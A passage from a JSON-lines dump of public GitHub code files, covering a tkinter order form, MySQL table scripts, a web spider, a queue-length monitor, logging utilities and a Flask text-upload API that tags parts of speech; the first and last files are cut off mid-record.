print(pay_method)\r\n \r\n \r\n\r\nLabel(window,text=\"Food Order Form\",font=('Helvetica',20),bd=10).pack()\r\n\r\nttk.Separator(window,orient=HORIZONTAL).pack(fill='x')\r\n\r\nLabel(window,text=\"What would you like to order?\",bd=10).pack(anchor='w')\r\nsandwich=IntVar()\r\nsalad=IntVar()\r\nsoup=IntVar()\r\npizza=IntVar()\r\nCheckbutton(window,text=\"Sandwich\",variable=sandwich).pack(anchor='w')\r\nCheckbutton(window,text=\"Salad\",variable=salad).pack(anchor='w')\r\nCheckbutton(window,text=\"Soup\",variable=soup).pack(anchor='w')\r\nCheckbutton(window,text=\"Pizza\",variable=pizza).pack(anchor='w')\r\n\r\nLabel(window,text=\"How do you want to pay?\",bd=10).pack(anchor='w')\r\npay=IntVar()\r\nRadiobutton(window,text=\"KBZpay\",variable=pay,value=1).pack(anchor='w')\r\nRadiobutton(window,text=\"Credit Card\",variable=pay,value=2).pack(anchor='w')\r\nRadiobutton(window,text=\"Other\",variable=pay,value=3).pack(anchor='w')\r\n\r\nButton(window,text=\"Next\",command=result,width=10,bg=\"lightgrey\",fg=\"black\").pack()\r\n\r\n\r\nwindow.mainloop()\r\n","repo_name":"moramoon/kkk","sub_path":"Food_Order_Form.py","file_name":"Food_Order_Form.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35401351099","text":"import yaml\nimport requests\nimport pymysql\nfrom config import host, user, password, db_name\n\n\n# response = requests.get('http://example.com/toys', params={'updated_after':'2017-01-01', 'updated_before':'2019-01-01'})\n\n# with open('toys.yaml') as file:\n# data = yaml.load(file, Loader=yaml.FullLoader)\n#\n# toys_repair = []\n# for toy in data['toys']:\n# if toy['status'] == 'broken':\n# for game in toy['games']:\n# toys_repair.append((toy['id'], game['note']))\n\n# toys_games = []\n# for toy in data['toys']:\n# for game in toy['games']:\n# toys_games.append((game['id'], toy['id'], game['note']))\n\n# toys = []\n# for toy in data['toys']:\n# toys.append((toy['id'], toy['name'], toy['status'], toy['status_updated']))\n#\n# with open('games.yaml') as file:\n# data = yaml.load(file, Loader=yaml.FullLoader)\n#\n# games = []\n# for game in data['games']:\n# games.append((game['id'], game['name'], game['date']))\n\n\n\n\ntry:\n # connect to database\n connection = pymysql.connect(\n host=host,\n port=3306,\n user=user,\n password=password,\n database=db_name,\n cursorclass=pymysql.cursors.DictCursor\n )\n\n print ('connect ok')\n\n try:\n # CREATE TABLES\n with connection.cursor() as cursor:\n create_table_toys = \"\"\"CREATE TABLE IF NOT EXISTS`toys`(\n `id` int NOT NULL AUTO_INCREMENT,\n `toy_id` int,\n `name` varchar (50),\n `status` varchar (255),\n `status_updated` date,\n PRIMARY KEY (`id`));\"\"\"\n\n create_table_games = \"\"\"CREATE TABLE IF NOT EXISTS `games`(\n `id` int NOT NULL AUTO_INCREMENT,\n `game_id` int,\n `name` varchar (50),\n `date` date,\n PRIMARY KEY (`id`));\"\"\"\n\n create_table_toys_games = \"\"\"CREATE TABLE IF NOT EXISTS `toys_games` (\n `id` int NOT NULL AUTO_INCREMENT,\n `game_id` int,\n `toy_id` int,\n `note` varchar (255),\n PRIMARY KEY (`id`));\"\"\"\n\n create_table_toys_repair = \"\"\"CREATE TABLE IF NOT EXISTS `toys_repair` (\n `id` int NOT NULL AUTO_INCREMENT,\n `toy_id` int,\n `issue_description` varchar (255),\n PRIMARY KEY (`id`));\"\"\"\n\n cursor.execute(create_table_toys)\n cursor.execute(create_table_games)\n cursor.execute(create_table_toys_games)\n cursor.execute(create_table_toys_repair)\n\n # INSERT\n # with connection.cursor() as cursor:\n # insert_query = \"\"\"INSERT INTO `toys` (toy_id, name, status, status_updated) VALUES (%s, %s, %s, %s);\"\"\"\n # cursor.executemany(insert_query, toys)\n # connection.commit()\n #\n # with connection.cursor() as cursor:\n # insert_query = \"\"\"INSERT INTO `games` (game_id, name, date) VALUES (%s, %s, %s);\"\"\"\n # cursor.executemany(insert_query, games)\n # connection.commit()\n\n # with connection.cursor() as cursor:\n # insert_query = \"\"\"INSERT INTO `toys_games` (game_id, toy_id, note) VALUES (%s, %s, %s);\"\"\"\n # cursor.executemany(insert_query, toys_games)\n # connection.commit()\n\n # with connection.cursor() as cursor:\n # insert_query = \"\"\"INSERT INTO `toys_repair` (toy_id, issue_description) VALUES (%s, %s);\"\"\"\n # cursor.executemany(insert_query, toys_repair)\n # connection.commit()\n\n # SELECT for question 4\n print('Question 4', '#' * 100)\n with connection.cursor() as cursor:\n select = \"\"\"SELECT toys.toy_id, toys.name, status, status_updated, games.name, date, note\n FROM toys, games , toys_games\n WHERE status_updated >= CURDATE() - INTERVAL 1 YEAR AND \n toys.toy_id = toys_games.toy_id AND\n games.game_id = toys_games.game_id;\n \"\"\"\n cursor.execute(select)\n rows = cursor.fetchall()\n for row in rows:\n print(row)\n print('#' * 100)\n\n # SELECT for question 5\n print('Question 5', '#' * 100)\n with connection.cursor() as cursor:\n select = \"\"\"SELECT DISTINCT name \n FROM toys, toys_repair\n WHERE toys.toy_id <> toys_repair.toy_id;\n \"\"\"\n cursor.execute(select)\n rows = cursor.fetchall()\n print ([row['name'] for row in rows])\n print('#' * 100)\n\n # SELECT for question 3.a\n with connection.cursor() as cursor:\n select = \"\"\"SELECT * FROM `games`\n WHERE date >= CURDATE() - INTERVAL 7 DAY ;\n \"\"\"\n cursor.execute(select)\n rows = cursor.fetchall()\n new_games = [{'games':[row for row in rows]}]\n\n # created a.yaml\n with open ('a.yaml', 'w') as file:\n data = yaml.dump(new_games)\n file.write(data)\n\n # SELECT for question 3.b\n with connection.cursor() as cursor:\n select = \"\"\"SELECT * FROM `toys`\n WHERE status_updated >= CURDATE() - INTERVAL 7 DAY ;\n \"\"\"\n cursor.execute(select)\n rows = cursor.fetchall()\n new_toys = [{'toys':[row for row in rows]}]\n\n # created b.yaml\n with open ('b.yaml', 'w') as file:\n data = yaml.dump(new_toys)\n file.write(data)\n\n # SELECT for question 3.c\n with connection.cursor() as cursor:\n select = \"\"\"SELECT * FROM `toys_repair` ;\"\"\"\n cursor.execute(select)\n rows = cursor.fetchall()\n toys_repair = [{'toys_repair':[row for row in rows]}]\n\n # created c.yaml\n with open ('c.yaml', 'w') as file:\n data = yaml.dump(toys_repair)\n file.write(data)\n\n finally:\n connection.close()\n\nexcept Exception as ex:\n print('Except:', ex)\n","repo_name":"Ruselbyru/Syberry_test_task","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38194028456","text":"from tba_api import get_data\n# import pandas\nfrom pandas import DataFrame, concat\n\ndef get_cali_teams():\n team_df = DataFrame()\n # for x in range (1):\n for x in range (18):\n team_data_arr = get_data(f\"/teams/2023/{x}/simple\")\n team_df = concat([team_df, DataFrame(team_data_arr)])\n cali_team_nums = (team_df[team_df['state_prov'] == 'California']['team_number']).reset_index(drop=True)\n return cali_team_nums \n\ndef get_outside_cali_events(year : int):\n cali_teams = get_cali_teams()\n all_events = DataFrame()\n for team in cali_teams:\n events = DataFrame(get_data(f'/team/frc{team}/events/{year}/simple'))\n events['team'] = team\n all_events = concat([all_events, events])\n all_events = all_events[(all_events['key'] != f'{year}cmptx')].reset_index(drop=True)\n print(f'california teams are playing {len(all_events)} plays')\n outside_cali_events = all_events[all_events['state_prov'] != 'CA'][['team', 'name', 'state_prov']].reset_index(drop=True)\n print(f'california teams are playing {len(outside_cali_events)} plays out of state')\n\ndef get_num_cali_plays(year : int):\n all_events = get_data(f'/events/{year}/keys')\n cali_events = list(filter(lambda x: x.startswith(f'{year}ca'), all_events))\n print (cali_events)\n num_teams = 0\n for ev in cali_events:\n event_data = get_data(f'/event/{ev}/teams/keys')\n num_teams += len(event_data)\n print(f'{num_teams} plays available in california')\n\nget_outside_cali_events(2023)\nget_num_cali_plays(2023)\nprint('------')\nget_outside_cali_events(2019)\nget_num_cali_plays(2019)\n\n","repo_name":"DylanB5402/frc-data-stuff","sub_path":"calif_teams_outside_plays.py","file_name":"calif_teams_outside_plays.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72849989313","text":"##############################################################################################\n#\n# Author: David Kirwan\n# Website: https://about.me\n#\n# Simple Guessing Game coded in Python\n#\n##############################################################################################\n# Imports\n\nfrom random import randint\n\nprint('Guessing Game v0.0.1' + '\\nYou have 3 guesses')\nfound = False\ntheNum = randint(0,9)\nguessCount = 3\n\n\ndef guessingGame(myGuess):\n diff = theDiff(theNum, myGuess)\n \n if myGuess == theNum:\n print('yes!')\n global found\n found = True\n elif myGuess < 0:\n print('The number you entered was negative!')\n elif diff <= 2:\n global guessCount\n guessCount -= 1\n print('Close!')\n else:\n global guessCount\n guessCount -= 1\n print('not even close!')\n\ndef theDiff(n, guess):\n return abs(n - guess)\n\n\nwhile found is False and guessCount > 0:\n\n print('Enter a guess between 0 and 9')\n n = int(raw_input())\n guessingGame(n)\n \nprint('\\n\\nSorry you failed rather miserably!') \n","repo_name":"davidkirwan/cloaked-octo-ninja","sub_path":"snippets/Python/guessingGame.py","file_name":"guessingGame.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"75065810755","text":"#!/usr/bin/env python\n\"\"\"\n Created by howie.hu at 29/11/2017.\n\"\"\"\nimport time\n\nfrom ruia import Spider, Item, AttrField, HtmlField, TextField\nfrom ruia_ua import middleware\n\nfrom owllook.database.mongodb import MotorBaseOld\n\n\nclass RankingItem(Item):\n target_item = TextField(css_select='div.rank_i_p_list')\n ranking_title = TextField(css_select='div.rank_i_p_tit')\n more = AttrField(css_select='div.rank_i_more a', attr='href')\n book_list = HtmlField(css_select='div.rank_i_p_list>div.rank_i_li', many=True)\n\n\nclass NameItem(Item):\n top_name = TextField(css_select='div.rank_i_bname a.rank_i_l_a_book', default='')\n other_name = TextField(css_select='div.rank_i_bname a', default='')\n\n\nclass ZHRankingSpider(Spider):\n start_urls = ['http://book.zongheng.com/rank.html']\n\n concurrency = 3\n\n async def parse(self, res):\n result = []\n res_dic = {}\n\n async for item in RankingItem.get_items(html=res.html):\n each_book_list = []\n # 只取排名前十的书籍数据\n for index, value in enumerate(item.book_list[:10]):\n item_data = await NameItem.get_item(html=value)\n name = item_data.top_name or item_data.other_name\n each_book_list.append({\n 'num': index + 1,\n 'name': name\n })\n data = {\n 'title': item.ranking_title,\n 'more': item.more,\n 'book_list': each_book_list,\n 'updated_at': time.strftime(\"%Y-%m-%d %X\", time.localtime()),\n }\n result.append(data)\n\n res_dic['data'] = result\n res_dic['target_url'] = res.url\n res_dic['type'] = \"人气榜单\"\n res_dic['spider'] = \"zongheng\"\n await self.save(res_dic)\n\n async def save(self, res_dic):\n try:\n motor_db = MotorBaseOld().db\n await motor_db.novels_ranking.update_one({\n 'target_url': res_dic['target_url']},\n {'$set': {\n 'data': res_dic['data'],\n 'spider': res_dic['spider'],\n 'type': res_dic['type'],\n 'finished_at': time.strftime(\"%Y-%m-%d %X\", time.localtime())\n }},\n upsert=True)\n except Exception as e:\n self.logger.exception(e)\n\n\nif __name__ == '__main__':\n ZHRankingSpider.start(middleware=middleware)\n","repo_name":"howie6879/owllook","sub_path":"owllook/spiders/zh_ranking.py","file_name":"zh_ranking.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":2518,"dataset":"github-code","pt":"61"} +{"seq_id":"26030308454","text":"from time import sleep, time\nfrom subprocess import *\nimport re\n\ndefault_dir = '.'\n\n\ndef monitor_qlen(interface, interval_sec=0.01, file_name='%s/qlen.txt' % default_dir):\n pat_queued = re.compile(r'backlog\\s[^\\s]+\\s([\\d]+)p')\n cmd = \"tc -s qdisc show dev %s\" % interface\n ret = []\n open(file_name, 'w').write('')\n while 1:\n p = Popen(cmd, shell=True, stdout=PIPE)\n output = p.stdout.read()\n # Not quite right, but will do for now\n matches = pat_queued.findall(output)\n if matches and len(matches) > 1:\n ret.append(matches[1])\n t = \"%f\" % time()\n open(file_name, 'a').write(t + ',' + matches[1] + '\\n')\n sleep(interval_sec)\n return\n","repo_name":"sdccp-project/evaluate_scripts","sub_path":"monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19908809951","text":"import wandb\nfrom collections import defaultdict\nfrom collections import deque\n\nclass WandbLogger(object):\n def __init__(self):\n self.on_step_metrics = defaultdict(lambda: deque(maxlen = 16))\n self.trainer = None\n\n self.metrics = dict()\n\n self.min_values = defaultdict(lambda: 10000)\n self.max_values = defaultdict(lambda: -1)\n\n def watch(self, model):\n wandb.watch(model)\n\n def log_dict(self, log_dict, on_step = True, force_log = False):\n for key, value in log_dict.items():\n self.metrics[key] = value\n if on_step:\n self.on_step_metrics[key].append(value)\n\n if (self.trainer.global_step % self.trainer.args.log_every == 0) or force_log:\n if wandb.run is not None:\n wandb.log(log_dict, step = self.trainer.global_step)\n\n def log(self, key, value, on_step = True, force_log = False, log_min = False, log_max = False, log_instant = False):\n self.metrics[key] = value\n\n if on_step:\n self.on_step_metrics[key].append(value)\n\n if (self.trainer.global_step % self.trainer.args.log_every == 0) or force_log:\n if wandb.run is not None:\n log_dict = dict()\n\n if log_instant:\n log_dict[key] = value\n\n if log_min:\n self.min_values[key] = min(self.min_values[key], value)\n log_dict[key + ':min'] = self.min_values[key]\n\n if log_max:\n self.max_values[key] = max(self.max_values[key], value)\n log_dict[key + ':max'] = self.max_values[key]\n\n if log_dict:\n wandb.log(log_dict, step = self.trainer.global_step)\n","repo_name":"cosmaadrian/acumen-template","sub_path":"{{cookiecutter.project_slug}}/lib/loggers/wandb_logger.py","file_name":"wandb_logger.py","file_ext":"py","file_size_in_byte":1757,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"4876385169","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n'''\n\n@File : datatype.py \n@Author : alexander.here@gmail.com \n@Date : 2020-01-13 18:36 \n@Brief : \n\n'''\n\nimport sys\n\n# type() function:\nprint( type( 1), type( 1.2), type( 'hello'),\n type( ( 1, 2, 3)), type( [ 1, 2, 3]), type( { 1, 2, 3}),\n type( { 1:2, 3:4}))\n\n# check type with inheritance relationships considered:\nif isinstance( 1, int):\n print( \"isinstance( 1, int)\")\n\n# type is a type:\nprint( int, float, str, tuple, list, set, dict)\nprint( None, type( None), type( type( None)))\n\n# conversion:\nmy_type = str\nprint( type( my_type( 123)))\n\n# sample code for list:\na_list = [ 0, 1, 2, 3, 4, 5, 6, 8]\na_list.remove( 8) # remove first match\na_list.append( 7)\nprint( a_list[ 1::2]) # [START:END] or [START:END:STEP], empty means default\n\ndel a_list[ 0:2] # same with : del a_list[ 0]; del a_list[ 1]\na_list.reverse() # in-place reverse\nprint( a_list)\n\n# added in python 3.3:\nanother_list = a_list.copy()\na_list.clear()\nprint( another_list[ ::-1])\n\n# make list with for statement (List Comprehension):\nprint( [ x * 2 + 1 for x in range( 10, 15)])\n\n# sample code for tuple:\na_tuple = ( 'fine.', 'thanks.', 'and you?')\nprint( a_tuple[ 1])\n# a tuple is basically an immutable list.\n\n# one can ofter leave brackets out of a tuple:\na_tuple = 1, # NOTE: at least 1 comma must be presented\nprint( type( a_tuple))\n\n# sample code for set:\na_set = { 1, 2, 3}\na_set.remove( 2)\na_set.add( 5)\nprint( a_set)\na_set.clear()\n\n# sample code for dict:\na_dict = { 'hello' : 'hi', 'thanks' : 'you\\'re welcome'}\na_dict[ 'how are you'] = 'fine' # add / modify\ndel a_dict[ 'thanks'] # remove\n\nif sys.version_info.major >= 3:\n for key, value in a_dict.items():\n print( key + \" => \" + value)\n\n# make dict with for statement (Dictionary Comprehension):\nanother_dict = { f\"square root of {i}\" : f\"{i**0.5:.3f}\" for i in range( 5)}\n\n# merging:\na_dict.update( another_dict)\nprint( a_dict)\n\n# remove all elements:\na_dict.clear()\n\n# use len() to find size of container:\nprint( len( a_list), len( a_tuple), len( a_set), len( a_dict))\n\n\n\n# End of 'datatype.py' \n\n","repo_name":"alexander-zou/pycheats","sub_path":"datatype.py","file_name":"datatype.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15796483274","text":"from object_database.web import cells as cells\nfrom object_database.web.CellsTestPage import CellsTestPage\n\n\nclass ContextMenuBasic(CellsTestPage):\n def cell(self):\n slot = cells.Slot(0)\n\n return cells.ContextMenu(\n cells.Highlighted(\n cells.Center(cells.Subscribed(lambda: f\"Incremented {slot.get()} times\"))\n ),\n cells.Button(\"Increment\", lambda: slot.set(slot.get() + 1))\n + cells.MenuItem(\"Increment\", lambda: slot.set(slot.get() + 1)),\n )\n\n def text(self):\n return (\n \"You should see some text. You should be able to right-click it to get a button.\"\n \" If you click the button the number should increment and the menu should go away\"\n )\n","repo_name":"APrioriInvestments/object_database","sub_path":"object_database/web/cells_demo/context_menu.py","file_name":"context_menu.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"31964303127","text":"# 437. 路径总和 III\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n result = 0\n def pathSum(self, root,sum):\n # root: TreeNode, sum: int) -> int:\n if not root:\n return 0\n self.NodePath(root,sum)\n self.pathSum(root.left,sum)\n self.pathSum(root.right,sum)\n return self.result\n\n\n def NodePath(self,root,sum):\n if not root:\n return\n sum -= root.val\n if sum == 0 :\n self.result += 1\n self.NodePath(root.left,sum)\n self.NodePath(root.right,sum)","repo_name":"mrmenand/Py_transaction","sub_path":"LeetCode/tree/437.路径总和 III.py","file_name":"437.路径总和 III.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37193340457","text":"# checkstyle: noqa\n\nINDEX_BY_LABEL = {\n \"is_clicked\": 1,\n \"is_favorited\": 2,\n \"is_open_linked\": 3,\n \"is_photo_expanded\": 4,\n \"is_profile_clicked\": 5,\n \"is_replied\": 6,\n \"is_retweeted\": 7,\n \"is_video_playback_50\": 8\n}\n\nTARGET_LABEL_IDX = 0\nEB_SCORE_IDX = 9\n\nLABEL_NAMES = [label_name for label_name, _ in sorted(INDEX_BY_LABEL.items(), key=lambda item: item[1])]\n\nPREDICTED_CLASSES = \\\n [\"tf_target\"] + [\"tf_\" + label_name for label_name in LABEL_NAMES] + [\"tf_timelines.earlybird_score\"] + \\\n [\"lolly_target\"] + [\"lolly_\" + label_name for label_name in LABEL_NAMES] + [\"lolly_timelines.earlybird_score\"]\n","repo_name":"twitter/the-algorithm","sub_path":"src/python/twitter/deepbird/projects/timelines/scripts/models/earlybird/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":60239,"dataset":"github-code","pt":"61"} +{"seq_id":"10052426748","text":"from rudp.thread import Thread\nimport socket\nimport pickle\n\nclass Receiver(Thread):\n BUFSIZE = 1024\n\n def __init__(self, recv_sock, sender, scheduler, arranger):\n super().__init__()\n self.recv_sock = recv_sock\n self.sender = sender\n self.scheduler = scheduler\n self.arranger = arranger\n\n def run(self):\n while True:\n data, addr = self.recv_sock.recvfrom(self.BUFSIZE)\n if addr is None:\n break\n pack = pickle.loads(data)\n\n if pack.get('payload'):\n self.arranger.put(pack)\n self.send_back_ack(pack)\n elif pack.get('header').get('is_ack'):\n self.acknowledge_pack(pack)\n\n def stop(self):\n try:\n self.recv_sock.shutdown(socket.SHUT_RD)\n except:\n pass\n\n def send_back_ack(self, pack):\n ack_pack = {\n 'header': {\n 'is_ack': True,\n 'ack_num': pack.get('header').get('seq_num'),\n 'dst_addr': pack.get('header').get('src_addr')\n }\n }\n self.sender.put(ack_pack)\n\n def acknowledge_pack(self, pack):\n self.scheduler.put(pack)\n","repo_name":"jazminsofiaf/R-udp","sub_path":"rudp/receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44070476031","text":"# -*- coding: utf-8 -*-\n\nimport datetime\nimport random\nfrom stdPlugin import stdPlugin\n\n\nclass quote(stdPlugin):\n u'''Permet d’enregistrer et de répéter des phrases embarassantes..'''\n\n events = {'pubmsg': {'exclusive': True, 'command_namespace': 'quote'}}\n\n def __init__(self, bot, conf):\n return_val = super(quote, self).__init__(bot, conf)\n self.dico = {}\n chans = self.bot.conf['chans'] if not self.bot.channels else\\\n self.bot.channels\n for chan in chans:\n self.get_dico(chan)\n return return_val\n\n def get_dico(self, chan):\n data = self.bot.get_config(self, chan, [])\n self.dico[chan] = data\n\n def save_dico(self, chan):\n return self.bot.write_config(self, chan, self.dico[chan])\n\n def add_quote(self, chan, quote, author):\n if not len(self.dico[chan]):\n id = 1\n else:\n dico_index = dict((q['id'], i) for (i, q) in\n enumerate(self.dico[chan]))\n id = max(dico_index) + 1\n self.dico[chan].append({'id': id,\n 'author': author,\n 'quote': quote,\n 'date': datetime.datetime.now()})\n self.save_dico(chan)\n return id\n\n def del_quote(self, chan, id):\n dico_index = dict((q['id'], i) for (i, q) in\n enumerate(self.dico[chan]))\n quote_index = dico_index.get(int(id), -1)\n if quote_index == -1:\n return None\n else:\n del self.dico[chan][quote_index]\n self.save_dico(chan)\n\n def get_quote(self, chan, id):\n dico_index = dict((q['id'], i) for (i, q) in\n enumerate(self.dico[chan]))\n quote_index = dico_index.get(int(id), -1)\n if quote_index == -1:\n return None\n else:\n return self.dico[chan][quote_index]\n\n def search_quote(self, chan, keyword):\n dico_index = dict((q['quote'], i) for (i, q) in\n enumerate(self.dico[chan]))\n quotes_id = [i for q, i in dico_index.items() if keyword in q]\n quotes = []\n for i in quotes_id:\n quotes.append(self.dico[chan][i])\n return quotes\n\n def get_random_quote(self, chan):\n if not len(self.dico[chan]):\n return None\n return random.choice(self.dico[chan])\n\n def say_quote(self, serv, chan, quote):\n if quote:\n serv.privmsg(chan, '[#%d] %s' % (quote['id'], quote['quote']))\n return True\n else:\n serv.privmsg(chan, 'Quote introuvable')\n return False\n\n def on_cmd(self, serv, ev, command, args, helper):\n u'''%(namespace)s  : enregistre une phrase ridicule prononcée\n par un membre du chan.\n %(namespace)s : sélectionne une phrase de la liste.\n %(namespace)s # : sélectionne la phrase d’un id donné.\n %(namespace)s ? : sélectionne une phrase contenant le mot-clé\n %(namespace)s ! : supprime une phrase donnée (réservée aux\n admins)\n '''\n try:\n if not command:\n quote = self.get_random_quote(helper['target'])\n return self.say_quote(serv, helper['target'], quote)\n elif command.startswith('#'):\n quote = self.get_quote(helper['target'], command[1:])\n return self.say_quote(serv, helper['target'], quote)\n elif command.startswith('?'):\n args.insert(0, command)\n keyword = ' '.join(args)[1:]\n quotes = self.search_quote(helper['target'], keyword)\n if quotes:\n quote = random.choice(quotes)\n return self.say_quote(serv, helper['target'], quote)\n else:\n return self.say_quote(serv, helper['target'], None)\n elif command.startswith('!'):\n if 'admin' in self.bot.registered_plugins:\n if self.bot.registered_plugins['admin'].\\\n is_admin(ev.source()):\n self.del_quote(helper['target'], command[1:])\n serv.privmsg(helper['target'], u'Quote supprimée.')\n else:\n serv.privmsg(helper['target'], 'Leave my quote alone!')\n else:\n args.insert(0, command)\n quote = ' '.join(args)\n id = self.add_quote(helper['target'], quote, helper['sender'])\n if id:\n serv.privmsg(helper['target'], u'Quote enregistrée ! ID %d'\n % id)\n return True\n except Exception:\n serv.privmsg(helper['target'], u'Nope.')\n return False\n","repo_name":"vegaelle/naobot","sub_path":"plugins/quote.py","file_name":"quote.py","file_ext":"py","file_size_in_byte":4901,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40791844783","text":"\"\"\"\nThis is for handling the uploading files\n\"\"\"\nimport os\nimport nltk\nfrom APP import app, mail\nfrom util.PDFToText import get_text\nfrom util.db_handling import *\nfrom werkzeug.datastructures import FileStorage\nfrom flask_restplus import Api, reqparse, abort, Resource\nfrom flask import Flask, jsonify, make_response, request\nfrom flask_mail import Mail, Message\nimport base64\nfrom treetagger import TreeTagger # to install this, read README\nimport docx # pip install python-docx\nfrom nltk.tokenize import LineTokenizer\nfrom threading import Thread\n\napi = Api(app)\n#treetaggerPath = '/Users/lilihuan/Desktop/TreeTagger/'\ntreetaggerPath = '/home/sam/Downloads/tree-tagger/' # install and fill this in\n\ntarget = 'static/files'\nif not os.path.isdir(target):\n if not os.path.isdir('static'):\n os.mkdir('static')\n os.mkdir('static/files')\n\nALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg'}\n\n# check whether is correct type\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\ndef insert_into_db(text, language):\n id = generate_id()\n db_data = get_info(id, text, language=language)\n insert_tuple(db_data)\n return id\n\n\n# text area on home page \ntextarea = api.namespace('textarea', description=\"upload text from textarea\")\n@textarea.route(\"/\", strict_slashes=False)\nclass Textarea(Resource):\n @textarea.param('text', \"The text\")\n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument('text', type=str, required=True)\n parser.add_argument('language', type=str)\n args = parser.parse_args()\n text = args.get('text')\n language = args.get('language')\n # make the tuple, and store it into database\n id = insert_into_db(text, language)\n # highlight the textarea\n res = highlight(text, language)\n return make_response(jsonify(res=res, id=id), 200)\n\n\nupload = api.namespace('upload', description=\"Upload files API\")\n@upload.route(\"/\", strict_slashes=False)\nclass Upload(Resource):\n def post(self):\n parser = reqparse.RequestParser()\n parser.add_argument('file', location='files', type=FileStorage, required=True, action='append')\n parser.add_argument('language', type=str)\n args = parser.parse_args()\n files = args.get('file')\n language = args.get('language')\n #print(language)\n # check every files uploaded\n for file in files:\n #print(file.filename.rsplit('.', 1)[1].lower())\n # convert the file to text\n extension = file.filename.rsplit('.', 1)[1].lower()\n text = \"\"\n if (extension == 'docx'):\n doc = docx.Document(file)\n t = []\n for el in doc.paragraphs:\n if el.text:\n t.append(el.text)\n for el in t:\n text += str(el)\n elif allowed_file(file.filename):\n text = get_text(file.read())\n else:\n abort(400, \"Files type not allow\")\n # store the info, and then get the id\n id = insert_into_db(text, language)\n # highlight the text\n res = highlight(text, language)\n print(id)\n return make_response(jsonify(res=res,id=id), 200)\n abort(400, 'No files')\n\n\ndef highlight(text, language):\n text = LineTokenizer(blanklines='keep').tokenize(text)\n #print(text)\n if (language == \"english\"):\n arr = []\n count = 1\n for el in text:\n first = 0\n res = []\n token = nltk.word_tokenize(el)\n data = nltk.pos_tag(token)\n for (word, word_type) in data:\n #print(word)\n #print(word_type)\n res.append({\n \"word\": word,\n \"type\": word_type,\n \"space\": first\n })\n first = 1\n first = 1\n # add the newline if it's not last line\n if count != len(text):\n res.append({\n \"word\": \"NEWLINE\",\n \"type\": \"NEWLINE\",\n \"space\": 1\n })\n count += 1\n arr.append(res)\n return arr\n elif language == \"spanish\":\n arr = []\n count = 1\n for el in text:\n first = 0\n res = []\n tt = TreeTagger(path_to_treetagger=treetaggerPath, language=language)\n result = tt.tag(el)\n if result[0][0] == '':\n break\n for (word, word_type, x) in result:\n # map from their tagging syntax to treetag syntax\n # so frontend displays colors correctly\n if word_type == \"ADV\":\n word_type = \"RB\"\n elif word_type == \"NC\" or word_type == \"NMEA\" or word_type == \"NP\":\n word_type = \"NN\"\n elif word_type == \"ITJN\":\n word_type = \"UH\"\n elif word_type == \"SE\":\n word_type = \"RP\"\n elif word_type == \"FS\":\n word_type = \"PUNCTUATION\"\n elif word_type[0] == \"V\":\n word_type = \"VB\" \n elif word_type[:2] == \"CC\":\n word_type = \"CC\" \n elif word_type[:2] == \"CS\":\n word_type = \"CC\"\n elif word_type == \"ADJ\":\n word_type = \"JJ\"\n else:\n word_type = \"UNKNOWN\"\n res.append({\n \"word\": word,\n \"type\": word_type,\n \"space\": first\n })\n first = 1\n first = 1\n # add the newline if it's not last line\n if count != len(text):\n res.append({\n \"word\": \"NEWLINE\",\n \"type\": \"NEWLINE\",\n \"space\": 1\n })\n count += 1\n arr.append(res)\n return arr\n else: #french\n arr = []\n count = 1\n for el in text:\n first = 0\n res = []\n tt = TreeTagger(path_to_treetagger=treetaggerPath, language=language)\n result = tt.tag(el)\n #print(result)\n if result[0][0] == '':\n break\n for (word, word_type, x) in result:\n # map from their tagging syntax to treetag syntax\n # so frontend displays colors correctly\n #print(word)\n #print(word_type)\n if word_type == \"ADV\":\n word_type = \"RB\"\n elif word_type == \"NOM\" or word_type == \"NP\" or word_type[:3] == \"PRO\":\n word_type = \"NN\"\n elif word_type == \"INT\":\n word_type = \"UH\"\n elif word_type == \"PUN\" or word_type == \"SENT\":\n word_type = \"PUNCTUATION\"\n elif word_type[:3] == \"VER\":\n word_type = \"VB\" \n elif word_type == \"KON\":\n word_type = \"CC\" \n elif word_type == \"ADJ\":\n word_type = \"JJ\"\n else:\n word_type = \"UNKNOWN\"\n res.append({\n \"word\": word,\n \"type\": word_type,\n \"space\": first\n })\n first = 1\n first = 1\n # add the newline if it's not last line\n if count != len(text):\n res.append({\n \"word\": \"NEWLINE\",\n \"type\": \"NEWLINE\",\n \"space\": 1\n })\n count += 1\n 